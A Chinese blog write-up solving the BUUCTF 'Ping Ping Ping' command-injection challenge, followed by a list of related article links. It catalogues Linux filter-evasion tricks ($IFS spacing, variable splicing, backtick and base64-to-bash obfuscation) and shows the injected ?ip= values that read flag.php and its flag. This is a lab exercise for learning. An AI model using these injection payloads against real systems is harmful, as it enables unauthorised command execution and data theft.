一道命令执行题目

 

 一、基础知识

【;】作为多个命令语句的分隔符(Command separator [semicolon])。 要在一个语句里面执行多个命令时,可以使用分号分隔。注意,有时候分号需要转义。

【|】管道(pipe)。管道是Linux,Unix都有的概念,是非常基础,也是非常重要的一个概念。它的作用是将管道前(左边)的命令产生的输出(stdout)作为管道后(右边)的命令的输入(stdin)。

【{}】代码块(curly brackets)。 这个是匿名函数,但是又与函数不同,在代码块里面的变量在代码块后面仍能访问。注意:花括号内侧需要有空格与语句分隔。

1)|| 符号 当前一条命令执行结果为false 就执行下一条命令

2)| 符号 只执行 | 符号后面的命令

3)&&符号 当前一条命令执行结果为true 就执行下一条命令

4)&符号 只执行 & 符号后面的命令

5); 符号 不管前一条命令执行的结果是什么,执行下一条命令

6)a=l;b=s;$a$b        //变量覆盖

7)`echo d2hvYW1p | base64 -d `     echo d2hvYW1p | base64 -d | bash          //base64绕过

8)w`saaaddd8450`ho`762aseba2`am`f0j71`i      wh$(caigou)oa$(anquan)mi       666`whoami`666      //反引号加混淆

9)wh$1oami        who$@ami        whoa$*mi       //$1、$@、$*混淆

10)${PATH:5:1}${PATH:2:1}   (执行了ls)  //提取环境变量中的字符执行命令(注意切片是从0开始计数的)对于环境变量字符过少的问题,可以通过export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz/0123456789设置临时环境变量

  • Linux下空格绕过方式

1)cat${IFS}flag.txt
2)cat$IFS$1flag.txt    //此处的数字可以换
3)cat<flag.txt
4)cat<>flag.txt
5){cat,flag.txt}   //在大括号中可用逗号代替空格(前面没有$)

  • Linux下对过滤字符的绕过方式

1)cat fl* //利用*可以任意匹配一个或多个字符
2)cat fl?g //利用?可以任意匹配一个字符
3)echo “Y2F0IGZsYWcucGhw”| base64 -d | bash //base64编码为所要执行的shell命令
4)ca\t fl\ag.php //有待了解
5)cat fl''ag.php
6)a=a;cat${IFS}fl$ag.php //通过变量覆盖绕过字符过滤
7)cat `ls`    //通过命令引用绕过

  • Linux下变量引用

1)$变量名 和 ${变量名}  //当变量名后跟其他字符时,要用大括号括起来或者直接在变量名后加一个$1

  • Linux下命令引用

1)$(命令语句) 和  ` 命令语句`(反引号)

二、解题过程

由提示可知,通过/?ip= 上传控制参数,此题是命令执行漏洞

/?ip=127.0.0.1;ls查看当前目录文件

发现有flag.php和index.php

直接/?ip=127.0.0.1;cat flag.php查看文件

结果发现有过滤,过滤了空格

于是对空格进行绕过/?ip=127.0.0.1;cat${IFS}flag.php

淦,这次是过滤了符号,测试后发现是过滤了大括号{}

于是更换绕过姿势/?ip=127.0.0.1;cat$IFS$1flag.php

又淦,这次把我的flag给过滤了

选择查看另一个文件/?ip=127.0.0.1;cat$IFS$1index.php

有源代码,知晓了过滤情况

使用变量覆盖进行绕过/?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php

没有返回flag但也没有过滤。想到可能是我变量名引发歧义,于是在$a后加了一个$1

/?ip=127.0.0.1;a=l;cat$IFS$1f$a$1ag.php

得到返回结果flag{223ca838-3a28-41df-9821-d65d036099e5}

三、一点思考

此题还可以使用反引号来绕过flag的过滤/?ip=127.0.0.1;cat$IFS$1`ls`

同时我想到可以用通道符来绕过吗

/?ip=127.0.0.1;ls|cat

不行,没有执行cat

在Linux中测试后发现

`ls`执行后的返回结果是用空格分隔的,而ls | 传输的内容是用换行符分隔的。cat 2.txt 3.txt可以执行,但cat 换行符2.txt换行符3.txt不能执行。所以ls | cat不能替换cat `ls`。(仅仅是本人自己的认知)

BUUCTF-[GXYCTF2019]Ping Ping Ping的更多相关文章

  1. 死亡之ping(Ping of Death)

    最简单的基于IP的攻击可能要数著名的死亡之ping,这种攻击主要是由于单个包的长度超过了IP协议规范所规定的包长度.产生这样的包很容易,事实上,许多操作系统都提供了称为ping的网络工具.在为Wind ...

  2. Windows防火墙开启ping,禁ping的配置

    当我通过本机Ping另一台在同一局域网内(即在同一网段)的计算机时,发现,如果防火墙开启的话,无论如何也ping不通.一旦关闭防火墙就可以ping通了.这是为什么呢?究竟该怎么设置呢? 原因是这样的, ...

  3. Windows防火墙开启ping,禁ping的配置方法

    Windows 7,Win 2008 R2,2012 R2: Windows防火墙 --> 高级设置 --> 入站规则 --> 在列表里找到“文件和打印机共享(回显请求 - ICMP ...

  4. 无法上外网, ping网关ping不通的解决——arp命令

    转自:http://jingyan.baidu.com/article/3c48dd34873909e10be35894.html 转自:http://man.linuxde.net/arp 用来管理 ...

  5. Linux Centos7使用ping命令ping不通网络的解决方案

    本解决方案不配置dns,都是ping的IP地址,所以如果想ping域名,则加上DNS项的配置后自行尝试吧 我使用的虚拟机系统信息: Linux:Centos7 Network:虚拟机设置的桥接模式(自 ...

  6. Linux下长时间ping网络加时间戳并记录到文本

    Linux下长时间ping网络加时间戳并记录到文本   由于一些原因,比如需要检查网络之间是否存在掉包等问题,会长时间去ping一个地址,由于会输出大量的信息而且最好要有时间戳,因此我们可以使用简单的 ...

  7. DAY6 使用ping钥匙临时开启SSH:22端口,实现远程安全SSH登录管理就这么简单

    设置防火墙策略时,关于SSH:22访问权限,我们常常会设置服务器只接受某个固定IP(如公司IP)访问,但是当我们出差或在家情况需要登录服务器怎么办呢? 常用两种解决方案:1.通过VPN操作登录主机: ...

  8. 本机,同机房,同城,异地,不同城,腾讯云ping延时值

    本机,同机房,同城,异地,不同城,腾讯云ping延时值 ping本机: 0.01ms ping同机房机器: 0.1ms ping同城机器: 1ms ping不同城机器: 20ms 北(南)方ping南 ...

  9. 使用ping钥匙临时开启SSH:22端口,实现远程安全SSH登录管理就这么简单

    设置防火墙策略时,关于SSH:22访问权限,我们常常会设置服务器只接受某个固定IP(如公司IP)访问,但是当我们出差或在家情况需要登录服务器怎么办呢? 常用两种解决方案:1.通过VPN操作登录主机: ...

  10. 003.同时Ping多个IP(select实现IO复用,信号计时),ping程序升级版

    写这个的目的主要是为了以后的方便: 1.信号计时函数的使用 2.ip头的构建和icmp头的构建 3.selec函数t的用法 代码实现: /src/ping.h /* * ping.h * * Crea ...

随机推荐

  1. Cobalt Strike 之: Aggressor Script

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Co ...

  2. 视觉SLAM基础-李群和李代数

    李群和李代数 目录 李群和李代数 引言 1.0 李群 1.1 群 1.2 李群基础定义 2.0李代数 2.1 引出 2.2 李代数的定义 2.3 李代数 \(so(3)\) 2.4 李代数 \(se( ...

  3. GPIO 和中断控制 LED 的状态

    中断的概念 中断是 MCU 强行从正常的主任务切换到由某些内部或外部条件的紧急任务.中断的优先程度远远高于主任务,MCU 会暂时把主任务挂起,转而处理中断任务,之后再执行主任务. 引起中断的外部条件来 ...

  4. 《爆肝整理》保姆级系列教程-玩转Charles抓包神器教程(9)-Charles如何修改请求参数和响应数据-上篇

    1.简介 宏哥之前一直用postman调接口比较多(web端),也非常容易上手和操作.但有时候想要去修改APP的页面展示,造数据又会比较麻烦,你自己造相对还好些,要是让开发造,还得低眉顺眼的去求人.通 ...

  5. CF1404D 题解

    题意 传送门 给定 \(2n\) 个数 \(1,2,\dots,2n\),A 和 B 进行交互,如下规则: A 需要将元素分成 \(n\) 组 \(\texttt{pair}\): B 从每组 \(\ ...

  6. 四大组件之服务Service

    参考:Android开发基础之服务Service 什么是服务呢? 用俗话话应该是长期于后台运行的程序,如果是官方一点,首先它是一个组件,用于执行长期运行的任务,并且与用户没有交互. 每一个服务都需要在 ...

  7. 解决多行文本超出显示省略号webpack打包后失效的问题

    开发环境没问题: 但是在打包部署后就失效了: 经过对比后发现是因为: 缺少了 -webkit-box-orient: vertical;  导致 解决方案 : /* ! autoprefixer: o ...

  8. doskey: windows版 Alias

    1.编辑doskey.bat文件 2.打开注册表寻找.HKEY_CURRENT_USER \ Software \ Microsoft \ Command Processor (自行百度) 3.添加d ...

  9. SAP HANA : CDS

    6.SAP HANA CDS 使用SAP HANA Core Data Services(CDS)在SAP HANA Extended Application Services中构建设计时数据持久性模 ...

  10. Spring的IOC源码分析

    Spring IOC 容器源码分析 Spring 最重要的概念是 IOC 和 AOP,本篇文章其实就是要带领大家来分析下 Spring 的 IOC 容器.既然大家平时都要用到 Spring,怎么可以不 ...